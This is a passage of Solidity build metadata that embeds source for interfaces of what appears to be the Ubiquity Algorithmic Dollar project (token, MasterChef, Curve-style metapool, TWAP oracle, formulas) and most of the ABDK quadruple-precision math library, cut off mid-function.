event Minting(\\n address indexed _to,\\n address indexed _minter,\\n uint256 _amount\\n );\\n\\n event Burning(address indexed _burned, uint256 _amount);\\n\\n // ----------- State changing api -----------\\n function burn(uint256 amount) external;\\n\\n function permit(\\n address owner,\\n address spender,\\n uint256 value,\\n uint256 deadline,\\n uint8 v,\\n bytes32 r,\\n bytes32 s\\n ) external;\\n\\n // ----------- Burner only state changing api -----------\\n function burnFrom(address account, uint256 amount) external;\\n\\n // ----------- Minter only state changing api -----------\\n function mint(address account, uint256 amount) external;\\n}\\n\",\"keccak256\":\"0xf1170e23d8c1c05ecb677a1417bd13a646383544e292100edd7da32fb2188d91\",\"license\":\"Apache-2.0\"},\"contracts/interfaces/IMasterChefV2.sol\":{\"content\":\"// SPDX-License-Identifier: UNLICENSED\\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol. SEE BELOW FOR SOURCE. !!\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/token/ERC20/IERC20.sol\\\";\\n\\nimport \\\"../MasterChefV2.sol\\\";\\n\\ninterface IMasterChefV2 {\\n struct BondingShareInfo {\\n uint256 amount; // How many LP tokens the user has provided.\\n uint256 rewardDebt; // Reward debt. See explanation below.\\n }\\n struct PoolInfo {\\n uint256 lastRewardBlock; // Last block number that SUSHI distribution occurs.\\n uint256 accuGOVPerShare; // Accumulated SUSHI per share, times 1e12. See below.\\n }\\n\\n event Deposit(address indexed user, uint256 amount, uint256 bondingShareID);\\n event Withdraw(\\n address indexed user,\\n uint256 amount,\\n uint256 bondingShareID\\n );\\n\\n function deposit(\\n address sender,\\n uint256 amount,\\n uint256 bondingShareID\\n ) external;\\n\\n // Withdraw LP tokens from MasterChef.\\n function withdraw(\\n address sender,\\n uint256 amount,\\n uint256 bondingShareID\\n ) external;\\n\\n // Info about a bondinh share\\n function getBondingShareInfo(uint256 _id)\\n external\\n view\\n returns (uint256[2] memory);\\n\\n // Total amount of shares\\n function totalShares() external view returns (uint256);\\n\\n // View function to see pending SUSHIs on frontend.\\n function pendingUGOV(address _user) external view returns (uint256);\\n}\\n\\n// THIS FILE WAS AUTOGENERATED FROM THE FOLLOWING ABI JSON:\\n\",\"keccak256\":\"0x9a0f825d3e786f0d177915ea20663dc63c8127e3898dc786d12fc11772e6ce76\",\"license\":\"UNLICENSED\"},\"contracts/interfaces/IMetaPool.sol\":{\"content\":\"// SPDX-License-Identifier: UNLICENSED\\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol. SEE BELOW FOR SOURCE. !!\\npragma solidity ^0.8.3;\\n\\ninterface IMetaPool {\\n event Transfer(\\n address indexed sender,\\n address indexed receiver,\\n uint256 value\\n );\\n event Approval(\\n address indexed owner,\\n address indexed spender,\\n uint256 value\\n );\\n event TokenExchange(\\n address indexed buyer,\\n int128 sold_id,\\n uint256 tokens_sold,\\n int128 bought_id,\\n uint256 tokens_bought\\n );\\n event TokenExchangeUnderlying(\\n address indexed buyer,\\n int128 sold_id,\\n uint256 tokens_sold,\\n int128 bought_id,\\n uint256 tokens_bought\\n );\\n event AddLiquidity(\\n address indexed provider,\\n uint256[2] token_amounts,\\n uint256[2] fees,\\n uint256 invariant,\\n uint256 token_supply\\n );\\n event RemoveLiquidity(\\n address indexed provider,\\n uint256[2] token_amounts,\\n uint256[2] fees,\\n uint256 token_supply\\n );\\n event RemoveLiquidityOne(\\n address indexed provider,\\n uint256 token_amount,\\n uint256 coin_amount,\\n uint256 token_supply\\n );\\n event RemoveLiquidityImbalance(\\n address indexed provider,\\n uint256[2] token_amounts,\\n uint256[2] fees,\\n uint256 invariant,\\n uint256 token_supply\\n );\\n event CommitNewAdmin(uint256 indexed deadline, address indexed admin);\\n event NewAdmin(address indexed admin);\\n event CommitNewFee(\\n uint256 indexed deadline,\\n uint256 fee,\\n uint256 admin_fee\\n );\\n event NewFee(uint256 fee, uint256 admin_fee);\\n event RampA(\\n uint256 old_A,\\n uint256 new_A,\\n uint256 initial_time,\\n uint256 future_time\\n );\\n event StopRampA(uint256 A, uint256 t);\\n\\n function initialize(\\n string memory _name,\\n string memory _symbol,\\n address _coin,\\n uint256 _decimals,\\n uint256 _A,\\n uint256 _fee,\\n address _admin\\n ) external;\\n\\n function decimals() external view returns (uint256);\\n\\n function transfer(address _to, uint256 _value) external returns (bool);\\n\\n function transferFrom(\\n address _from,\\n address _to,\\n uint256 _value\\n ) external returns (bool);\\n\\n function approve(address _spender, uint256 _value) external returns (bool);\\n\\n function get_previous_balances() external view returns (uint256[2] memory);\\n\\n function get_balances() external view returns (uint256[2] memory);\\n\\n function get_twap_balances(\\n uint256[2] memory _first_balances,\\n uint256[2] memory _last_balances,\\n uint256 _time_elapsed\\n ) external view returns (uint256[2] memory);\\n\\n function get_price_cumulative_last()\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function admin_fee() external view returns (uint256);\\n\\n function A() external view returns (uint256);\\n\\n function A_precise() external view returns (uint256);\\n\\n function get_virtual_price() external view returns (uint256);\\n\\n function calc_token_amount(uint256[2] memory _amounts, bool _is_deposit)\\n external\\n view\\n returns (uint256);\\n\\n function calc_token_amount(\\n uint256[2] memory _amounts,\\n bool _is_deposit,\\n bool _previous\\n ) external view returns (uint256);\\n\\n function add_liquidity(uint256[2] memory _amounts, uint256 _min_mint_amount)\\n external\\n returns (uint256);\\n\\n function add_liquidity(\\n uint256[2] memory _amounts,\\n uint256 _min_mint_amount,\\n address _receiver\\n ) external returns (uint256);\\n\\n function get_dy(\\n int128 i,\\n int128 j,\\n uint256 dx\\n ) external view returns (uint256);\\n\\n function get_dy(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256[2] memory _balances\\n ) external view returns (uint256);\\n\\n function get_dy_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx\\n ) external view returns (uint256);\\n\\n function get_dy_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256[2] memory _balances\\n ) external view returns (uint256);\\n\\n function exchange(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy\\n ) external returns (uint256);\\n\\n function exchange(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy,\\n address _receiver\\n ) external returns (uint256);\\n\\n function exchange_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy\\n ) external returns (uint256);\\n\\n function exchange_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy,\\n address _receiver\\n ) external returns (uint256);\\n\\n function remove_liquidity(\\n uint256 _burn_amount,\\n uint256[2] memory _min_amounts\\n ) external returns (uint256[2] memory);\\n\\n function remove_liquidity(\\n uint256 _burn_amount,\\n uint256[2] memory _min_amounts,\\n address _receiver\\n ) external returns (uint256[2] memory);\\n\\n function remove_liquidity_imbalance(\\n uint256[2] memory _amounts,\\n uint256 _max_burn_amount\\n ) external returns (uint256);\\n\\n function remove_liquidity_imbalance(\\n uint256[2] memory _amounts,\\n uint256 _max_burn_amount,\\n address _receiver\\n ) external returns (uint256);\\n\\n function calc_withdraw_one_coin(uint256 _burn_amount, int128 i)\\n external\\n view\\n returns (uint256);\\n\\n function calc_withdraw_one_coin(\\n uint256 _burn_amount,\\n int128 i,\\n bool _previous\\n ) external view returns (uint256);\\n\\n function remove_liquidity_one_coin(\\n uint256 _burn_amount,\\n int128 i,\\n uint256 _min_received\\n ) external returns (uint256);\\n\\n function remove_liquidity_one_coin(\\n uint256 _burn_amount,\\n int128 i,\\n uint256 _min_received,\\n address _receiver\\n ) external returns (uint256);\\n\\n function ramp_A(uint256 _future_A, uint256 _future_time) external;\\n\\n function stop_ramp_A() external;\\n\\n function admin_balances(uint256 i) external view returns (uint256);\\n\\n function withdraw_admin_fees() external;\\n\\n function admin() external view returns (address);\\n\\n function coins(uint256 arg0) external view returns (address);\\n\\n function balances(uint256 arg0) external view returns (uint256);\\n\\n function fee() external view returns (uint256);\\n\\n function block_timestamp_last() external view returns (uint256);\\n\\n function initial_A() external view returns (uint256);\\n\\n function future_A() external view returns (uint256);\\n\\n function initial_A_time() external view returns (uint256);\\n\\n function future_A_time() external view returns (uint256);\\n\\n function name() external view returns (string memory);\\n\\n function symbol() external view returns (string memory);\\n\\n function balanceOf(address arg0) external view returns (uint256);\\n\\n function allowance(address arg0, address arg1)\\n external\\n view\\n returns (uint256);\\n\\n function totalSupply() external view returns (uint256);\\n}\\n\",\"keccak256\":\"0xc89cc32a2a8a0336c380ed2ae3c3b5a9292cf1cd431cc09dec4d3057389ed893\",\"license\":\"UNLICENSED\"},\"contracts/interfaces/ITWAPOracle.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\ninterface ITWAPOracle {\\n function update() external;\\n\\n function consult(address token) external view returns (uint256 amountOut);\\n}\\n\",\"keccak256\":\"0x363aabed248b8af1af9afffb9243afbce75e2af95afeabb1abea4dbfd73022d1\",\"license\":\"MIT\"},\"contracts/interfaces/IUbiquityAlgorithmicDollar.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"./IERC20Ubiquity.sol\\\";\\n\\n/// @title UAD stablecoin interface\\n/// @author Ubiquity Algorithmic Dollar\\ninterface IUbiquityAlgorithmicDollar is IERC20Ubiquity {\\n event IncentiveContractUpdate(\\n address indexed _incentivized,\\n address indexed _incentiveContract\\n );\\n\\n function setIncentiveContract(address account, address incentive) external;\\n\\n function incentiveContract(address account) external view returns (address);\\n}\\n\",\"keccak256\":\"0x34469f12207adbfd6003ce7710ddc7b0ee3c1637b5d7fbac2b35c9e3fe3b6182\",\"license\":\"Apache-2.0\"},\"contracts/interfaces/IUbiquityFormulas.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\ninterface IUbiquityFormulas {\\n function durationMultiply(\\n uint256 _uLP,\\n uint256 _weeks,\\n uint256 _multiplier\\n ) external pure returns (uint256 _shares);\\n\\n function bonding(\\n uint256 _shares,\\n uint256 _currentShareValue,\\n uint256 _targetPrice\\n ) external pure returns (uint256 _uBOND);\\n\\n function redeemBonds(\\n uint256 _uBOND,\\n uint256 _currentShareValue,\\n uint256 _targetPrice\\n ) external pure returns (uint256 _uLP);\\n\\n function bondPrice(\\n uint256 _totalULP,\\n uint256 _totalUBOND,\\n uint256 _targetPrice\\n ) external pure returns (uint256 _priceUBOND);\\n\\n function ugovMultiply(uint256 _multiplier, uint256 _price)\\n external\\n pure\\n returns (uint256 _newMultiplier);\\n}\\n\",\"keccak256\":\"0xfcdf335bdcc311c3676d3f1ff8972ad99a10cb83cfb5365b8fc1c26858bac5d1\",\"license\":\"MIT\"},\"contracts/libs/ABDKMathQuad.sol\":{\"content\":\"// SPDX-License-Identifier: BSD-4-Clause\\n/*\\n * ABDK Math Quad Smart Contract Library. Copyright \\u00a9 2019 by ABDK Consulting.\\n * Author: Mikhail Vladimirov \\n */\\npragma solidity ^0.8.0;\\n\\n/**\\n * Smart contract library of mathematical functions operating with IEEE 754\\n * quadruple-precision binary floating-point numbers (quadruple precision\\n * numbers). As long as quadruple precision numbers are 16-bytes long, they are\\n * represented by bytes16 type.\\n */\\nlibrary ABDKMathQuad {\\n /*\\n * 0.\\n */\\n bytes16 private constant _POSITIVE_ZERO =\\n 0x00000000000000000000000000000000;\\n\\n /*\\n * -0.\\n */\\n bytes16 private constant _NEGATIVE_ZERO =\\n 0x80000000000000000000000000000000;\\n\\n /*\\n * +Infinity.\\n */\\n bytes16 private constant _POSITIVE_INFINITY =\\n 0x7FFF0000000000000000000000000000;\\n\\n /*\\n * -Infinity.\\n */\\n bytes16 private constant _NEGATIVE_INFINITY =\\n 0xFFFF0000000000000000000000000000;\\n\\n /*\\n * Canonical NaN value.\\n */\\n bytes16 private constant NaN = 0x7FFF8000000000000000000000000000;\\n\\n /**\\n * Convert signed 256-bit integer number into quadruple precision number.\\n *\\n * @param x signed 256-bit integer number\\n * @return quadruple precision number\\n */\\n function fromInt(int256 x) internal pure returns (bytes16) {\\n unchecked {\\n if (x == 0) return bytes16(0);\\n else {\\n // We rely on overflow behavior here\\n uint256 result = uint256(x > 0 ? x : -x);\\n\\n uint256 msb = mostSignificantBit(result);\\n if (msb < 112) result <<= 112 - msb;\\n else if (msb > 112) result >>= msb - 112;\\n\\n result =\\n (result & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n ((16383 + msb) << 112);\\n if (x < 0) result |= 0x80000000000000000000000000000000;\\n\\n return bytes16(uint128(result));\\n }\\n }\\n }\\n\\n /**\\n * Convert quadruple precision number into signed 256-bit integer number\\n * rounding towards zero. Revert on overflow.\\n *\\n * @param x quadruple precision number\\n * @return signed 256-bit integer number\\n */\\n function toInt(bytes16 x) internal pure returns (int256) {\\n unchecked {\\n uint256 exponent = (uint128(x) >> 112) & 0x7FFF;\\n\\n require(exponent <= 16638); // Overflow\\n if (exponent < 16383) return 0; // Underflow\\n\\n uint256 result = (uint256(uint128(x)) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n 0x10000000000000000000000000000;\\n\\n if (exponent < 16495) result >>= 16495 - exponent;\\n else if (exponent > 16495) result <<= exponent - 16495;\\n\\n if (uint128(x) >= 0x80000000000000000000000000000000) {\\n // Negative\\n require(\\n result <=\\n 0x8000000000000000000000000000000000000000000000000000000000000000\\n );\\n return -int256(result); // We rely on overflow behavior here\\n } else {\\n require(\\n result <=\\n 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\\n );\\n return int256(result);\\n }\\n }\\n }\\n\\n /**\\n * Convert unsigned 256-bit integer number into quadruple precision number.\\n *\\n * @param x unsigned 256-bit integer number\\n * @return quadruple precision number\\n */\\n function fromUInt(uint256 x) internal pure returns (bytes16) {\\n unchecked {\\n if (x == 0) return bytes16(0);\\n else {\\n uint256 result = x;\\n\\n uint256 msb = mostSignificantBit(result);\\n if (msb < 112) result <<= 112 - msb;\\n else if (msb > 112) result >>= msb - 112;\\n\\n result =\\n (result & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n ((16383 + msb) << 112);\\n\\n return bytes16(uint128(result));\\n }\\n }\\n }\\n\\n /**\\n * Convert quadruple precision number into unsigned 256-bit integer number\\n * rounding towards zero. Revert on underflow. Note, that negative floating\\n * point numbers in range (-1.0 .. 0.0) may be converted to unsigned integer\\n * without error, because they are rounded to zero.\\n *\\n * @param x quadruple precision number\\n * @return unsigned 256-bit integer number\\n */\\n function toUInt(bytes16 x) internal pure returns (uint256) {\\n unchecked {\\n uint256 exponent = (uint128(x) >> 112) & 0x7FFF;\\n\\n if (exponent < 16383) return 0; // Underflow\\n\\n require(uint128(x) < 0x80000000000000000000000000000000); // Negative\\n\\n require(exponent <= 16638); // Overflow\\n uint256 result = (uint256(uint128(x)) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n 0x10000000000000000000000000000;\\n\\n if (exponent < 16495) result >>= 16495 - exponent;\\n else if (exponent > 16495) result <<= exponent - 16495;\\n\\n return result;\\n }\\n }\\n\\n /**\\n * Convert signed 128.128 bit fixed point number into quadruple precision\\n * number.\\n *\\n * @param x signed 128.128 bit fixed point number\\n * @return quadruple precision number\\n */\\n function from128x128(int256 x) internal pure returns (bytes16) {\\n unchecked {\\n if (x == 0) return bytes16(0);\\n else {\\n // We rely on overflow behavior here\\n uint256 result = uint256(x > 0 ? x : -x);\\n\\n uint256 msb = mostSignificantBit(result);\\n if (msb < 112) result <<= 112 - msb;\\n else if (msb > 112) result >>= msb - 112;\\n\\n result =\\n (result & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n ((16255 + msb) << 112);\\n if (x < 0) result |= 0x80000000000000000000000000000000;\\n\\n return bytes16(uint128(result));\\n }\\n }\\n }\\n\\n /**\\n * Convert quadruple precision number into signed 128.128 bit fixed point\\n * number. Revert on overflow.\\n *\\n * @param x quadruple precision number\\n * @return signed 128.128 bit fixed point number\\n */\\n function to128x128(bytes16 x) internal pure returns (int256) {\\n unchecked {\\n uint256 exponent = (uint128(x) >> 112) & 0x7FFF;\\n\\n require(exponent <= 16510); // Overflow\\n if (exponent < 16255) return 0; // Underflow\\n\\n uint256 result = (uint256(uint128(x)) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n 0x10000000000000000000000000000;\\n\\n if (exponent < 16367) result >>= 16367 - exponent;\\n else if (exponent > 16367) result <<= exponent - 16367;\\n\\n if (uint128(x) >= 0x80000000000000000000000000000000) {\\n // Negative\\n require(\\n result <=\\n 0x8000000000000000000000000000000000000000000000000000000000000000\\n );\\n return -int256(result); // We rely on overflow behavior here\\n } else {\\n require(\\n result <=\\n 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\\n );\\n return int256(result);\\n }\\n }\\n }\\n\\n /**\\n * Convert signed 64.64 bit fixed point number into quadruple precision\\n * number.\\n *\\n * @param x signed 64.64 bit fixed point number\\n * @return quadruple precision number\\n */\\n function from64x64(int128 x) internal pure returns (bytes16) {\\n unchecked {\\n if (x == 0) return bytes16(0);\\n else {\\n // We rely on overflow behavior here\\n uint256 result = uint128(x > 0 ? x : -x);\\n\\n uint256 msb = mostSignificantBit(result);\\n if (msb < 112) result <<= 112 - msb;\\n else if (msb > 112) result >>= msb - 112;\\n\\n result =\\n (result & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n ((16319 + msb) << 112);\\n if (x < 0) result |= 0x80000000000000000000000000000000;\\n\\n return bytes16(uint128(result));\\n }\\n }\\n }\\n\\n /**\\n * Convert quadruple precision number into signed 64.64 bit fixed point\\n * number. Revert on overflow.\\n *\\n * @param x quadruple precision number\\n * @return signed 64.64 bit fixed point number\\n */\\n function to64x64(bytes16 x) internal pure returns (int128) {\\n unchecked {\\n uint256 exponent = (uint128(x) >> 112) & 0x7FFF;\\n\\n require(exponent <= 16446); // Overflow\\n if (exponent < 16319) return 0; // Underflow\\n\\n uint256 result = (uint256(uint128(x)) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n 0x10000000000000000000000000000;\\n\\n if (exponent < 16431) result >>= 16431 - exponent;\\n else if (exponent > 16431) result <<= exponent - 16431;\\n\\n if (uint128(x) >= 0x80000000000000000000000000000000) {\\n // Negative\\n require(result <= 0x80000000000000000000000000000000);\\n return -int128(int256(result)); // We rely on overflow behavior here\\n } else {\\n require(result <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\\n return int128(int256(result));\\n }\\n }\\n }\\n\\n /**\\n * Convert octuple precision number into quadruple precision number.\\n *\\n * @param x octuple precision number\\n * @return quadruple precision number\\n */\\n function fromOctuple(bytes32 x) internal pure returns (bytes16) {\\n unchecked {\\n bool negative = x &\\n 0x8000000000000000000000000000000000000000000000000000000000000000 >\\n 0;\\n\\n uint256 exponent = (uint256(x) >> 236) & 0x7FFFF;\\n uint256 significand = uint256(x) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n if (exponent == 0x7FFFF) {\\n if (significand > 0) return NaN;\\n else return negative ? _NEGATIVE_INFINITY : _POSITIVE_INFINITY;\\n }\\n\\n if (exponent > 278526)\\n return negative ? _NEGATIVE_INFINITY : _POSITIVE_INFINITY;\\n else if (exponent < 245649)\\n return negative ? _NEGATIVE_ZERO : _POSITIVE_ZERO;\\n else if (exponent < 245761) {\\n significand =\\n (significand |\\n 0x100000000000000000000000000000000000000000000000000000000000) >>\\n (245885 - exponent);\\n exponent = 0;\\n } else {\\n significand >>= 124;\\n exponent -= 245760;\\n }\\n\\n uint128 result = uint128(significand | (exponent << 112));\\n if (negative) result |= 0x80000000000000000000000000000000;\\n\\n return bytes16(result);\\n }\\n }\\n\\n /**\\n * Convert quadruple precision number into octuple precision number.\\n *\\n * @param x quadruple precision number\\n * @return octuple precision number\\n */\\n function toOctuple(bytes16 x) internal pure returns (bytes32) {\\n unchecked {\\n uint256 exponent = (uint128(x) >> 112) & 0x7FFF;\\n\\n uint256 result = uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n if (exponent == 0x7FFF)\\n exponent = 0x7FFFF; // Infinity or NaN\\n else if (exponent == 0) {\\n if (result > 0) {\\n uint256 msb = mostSignificantBit(result);\\n result =\\n (result << (236 - msb)) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n exponent = 245649 + msb;\\n }\\n } else {\\n result <<= 124;\\n exponent += 245760;\\n }\\n\\n result |= exponent << 236;\\n if (uint128(x) >= 0x80000000000000000000000000000000)\\n result |= 0x8000000000000000000000000000000000000000000000000000000000000000;\\n\\n return bytes32(result);\\n }\\n }\\n\\n /**\\n * Convert double precision number into quadruple precision number.\\n *\\n * @param x double precision number\\n * @return quadruple precision number\\n */\\n function fromDouble(bytes8 x) internal pure returns (bytes16) {\\n unchecked {\\n uint256 exponent = (uint64(x) >> 52) & 0x7FF;\\n\\n uint256 result = uint64(x) & 0xFFFFFFFFFFFFF;\\n\\n if (exponent == 0x7FF)\\n exponent = 0x7FFF; // Infinity or NaN\\n else if (exponent == 0) {\\n if (result > 0) {\\n uint256 msb = mostSignificantBit(result);\\n result =\\n (result << (112 - msb)) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n exponent = 15309 + msb;\\n }\\n } else {\\n result <<= 60;\\n exponent += 15360;\\n }\\n\\n result |= exponent << 112;\\n if (x & 0x8000000000000000 > 0)\\n result |= 0x80000000000000000000000000000000;\\n\\n return bytes16(uint128(result));\\n }\\n }\\n\\n /**\\n * Convert quadruple precision number into double precision number.\\n *\\n * @param x quadruple precision number\\n * @return double precision number\\n */\\n function toDouble(bytes16 x) internal pure returns (bytes8) {\\n unchecked {\\n bool negative = uint128(x) >= 0x80000000000000000000000000000000;\\n\\n uint256 exponent = (uint128(x) >> 112) & 0x7FFF;\\n uint256 significand = uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n if (exponent == 0x7FFF) {\\n if (significand > 0) return 0x7FF8000000000000;\\n // NaN\\n else\\n return\\n negative\\n ? bytes8(0xFFF0000000000000) // -Infinity\\n : bytes8(0x7FF0000000000000); // Infinity\\n }\\n\\n if (exponent > 17406)\\n return\\n negative\\n ? bytes8(0xFFF0000000000000) // -Infinity\\n : bytes8(0x7FF0000000000000);\\n // Infinity\\n else if (exponent < 15309)\\n return\\n negative\\n ? bytes8(0x8000000000000000) // -0\\n : bytes8(0x0000000000000000);\\n // 0\\n else if (exponent < 15361) {\\n significand =\\n (significand | 0x10000000000000000000000000000) >>\\n (15421 - exponent);\\n exponent = 0;\\n } else {\\n significand >>= 60;\\n exponent -= 15360;\\n }\\n\\n uint64 result = uint64(significand | (exponent << 52));\\n if (negative) result |= 0x8000000000000000;\\n\\n return bytes8(result);\\n }\\n }\\n\\n /**\\n * Test whether given quadruple precision number is NaN.\\n *\\n * @param x quadruple precision number\\n * @return true if x is NaN, false otherwise\\n */\\n function isNaN(bytes16 x) internal pure returns (bool) {\\n unchecked {\\n return\\n uint128(x) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF >\\n 0x7FFF0000000000000000000000000000;\\n }\\n }\\n\\n /**\\n * Test whether given quadruple precision number is positive or negative\\n * infinity.\\n *\\n * @param x quadruple precision number\\n * @return true if x is positive or negative infinity, false otherwise\\n */\\n function isInfinity(bytes16 x) internal pure returns (bool) {\\n unchecked {\\n return\\n uint128(x) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF ==\\n 0x7FFF0000000000000000000000000000;\\n }\\n }\\n\\n /**\\n * Calculate sign of x, i.e. -1 if x is negative, 0 if x if zero, and 1 if x\\n * is positive. Note that sign (-0) is zero. Revert if x is NaN.\\n *\\n * @param x quadruple precision number\\n * @return sign of x\\n */\\n function sign(bytes16 x) internal pure returns (int8) {\\n unchecked {\\n uint128 absoluteX = uint128(x) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n require(absoluteX <= 0x7FFF0000000000000000000000000000); // Not NaN\\n\\n if (absoluteX == 0) return 0;\\n else if (uint128(x) >= 0x80000000000000000000000000000000)\\n return -1;\\n else return 1;\\n }\\n }\\n\\n /**\\n * Calculate sign (x - y). Revert if either argument is NaN, or both\\n * arguments are infinities of the same sign.\\n *\\n * @param x quadruple precision number\\n * @param y quadruple precision number\\n * @return sign (x - y)\\n */\\n function cmp(bytes16 x, bytes16 y) internal pure returns (int8) {\\n unchecked {\\n uint128 absoluteX = uint128(x) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n require(absoluteX <= 0x7FFF0000000000000000000000000000); // Not NaN\\n\\n uint128 absoluteY = uint128(y) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n require(absoluteY <= 0x7FFF0000000000000000000000000000); // Not NaN\\n\\n // Not infinities of the same sign\\n require(x != y || absoluteX < 0x7FFF0000000000000000000000000000);\\n\\n if (x == y) return 0;\\n else {\\n bool negativeX = uint128(x) >=\\n 0x80000000000000000000000000000000;\\n bool negativeY = uint128(y) >=\\n 0x80000000000000000000000000000000;\\n\\n if (negativeX) {\\n if (negativeY) return absoluteX > absoluteY ? -1 : int8(1);\\n else return -1;\\n } else {\\n if (negativeY) return 1;\\n else return absoluteX > absoluteY ? int8(1) : -1;\\n }\\n }\\n }\\n }\\n\\n /**\\n * Test whether x equals y. NaN, infinity, and -infinity are not equal to\\n * anything.\\n *\\n * @param x quadruple precision number\\n * @param y quadruple precision number\\n * @return true if x equals to y, false otherwise\\n */\\n function eq(bytes16 x, bytes16 y) internal pure returns (bool) {\\n unchecked {\\n if (x == y) {\\n return\\n uint128(x) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF <\\n 0x7FFF0000000000000000000000000000;\\n } else return false;\\n }\\n }\\n\\n /**\\n * Calculate x + y. Special values behave in the following way:\\n *\\n * NaN + x = NaN for any x.\\n * Infinity + x = Infinity for any finite x.\\n * -Infinity + x = -Infinity for any finite x.\\n * Infinity + Infinity = Infinity.\\n * -Infinity + -Infinity = -Infinity.\\n * Infinity + -Infinity = -Infinity + Infinity = NaN.\\n *\\n * @param x quadruple precision number\\n * @param y quadruple precision number\\n * @return quadruple precision number\\n */\\n function add(bytes16 x, bytes16 y) internal pure returns (bytes16) {\\n unchecked {\\n uint256 xExponent = (uint128(x) >> 112) & 0x7FFF;\\n uint256 yExponent = (uint128(y) >> 112) & 0x7FFF;\\n\\n if (xExponent == 0x7FFF) {\\n if (yExponent == 0x7FFF) {\\n if (x == y) return x;\\n else return NaN;\\n } else return x;\\n } else if (yExponent == 0x7FFF) return y;\\n else {\\n bool xSign = uint128(x) >= 0x80000000000000000000000000000000;\\n uint256 xSignifier = uint128(x) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (xExponent == 0) xExponent = 1;\\n else xSignifier |= 0x10000000000000000000000000000;\\n\\n bool ySign = uint128(y) >= 0x80000000000000000000000000000000;\\n uint256 ySignifier = uint128(y) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (yExponent == 0) yExponent = 1;\\n else ySignifier |= 0x10000000000000000000000000000;\\n\\n if (xSignifier == 0)\\n return y == _NEGATIVE_ZERO ? _POSITIVE_ZERO : y;\\n else if (ySignifier == 0)\\n return x == _NEGATIVE_ZERO ? _POSITIVE_ZERO : x;\\n else {\\n int256 delta = int256(xExponent) - int256(yExponent);\\n\\n if (xSign == ySign) {\\n if (delta > 112) return x;\\n else if (delta > 0) ySignifier >>= uint256(delta);\\n else if (delta < -112) return y;\\n else if (delta < 0) {\\n xSignifier >>= uint256(-delta);\\n xExponent = yExponent;\\n }\\n\\n xSignifier += ySignifier;\\n\\n if (xSignifier >= 0x20000000000000000000000000000) {\\n xSignifier >>= 1;\\n xExponent += 1;\\n }\\n\\n if (xExponent == 0x7FFF)\\n return\\n xSign ? _NEGATIVE_INFINITY : _POSITIVE_INFINITY;\\n else {\\n if (xSignifier < 0x10000000000000000000000000000)\\n xExponent = 0;\\n else xSignifier &= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n return\\n bytes16(\\n uint128(\\n (\\n xSign\\n ? 0x80000000000000000000000000000000\\n : 0\\n ) |\\n (xExponent << 112) |\\n xSignifier\\n )\\n );\\n }\\n } else {\\n if (delta > 0) {\\n xSignifier <<= 1;\\n xExponent -= 1;\\n } else if (delta < 0) {\\n ySignifier <<= 1;\\n xExponent = yExponent - 1;\\n }\\n\\n if (delta > 112) ySignifier = 1;\\n else if (delta > 1)\\n ySignifier =\\n ((ySignifier - 1) >> uint256(delta - 1)) +\\n 1;\\n else if (delta < -112) xSignifier = 1;\\n else if (delta < -1)\\n xSignifier =\\n ((xSignifier - 1) >> uint256(-delta - 1)) +\\n 1;\\n\\n if (xSignifier >= ySignifier) xSignifier -= ySignifier;\\n else {\\n xSignifier = ySignifier - xSignifier;\\n xSign = ySign;\\n }\\n\\n if (xSignifier == 0) return _POSITIVE_ZERO;\\n\\n uint256 msb = mostSignificantBit(xSignifier);\\n\\n if (msb == 113) {\\n xSignifier =\\n (xSignifier >> 1) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n xExponent += 1;\\n } else if (msb < 112) {\\n uint256 shift = 112 - msb;\\n if (xExponent > shift) {\\n xSignifier =\\n 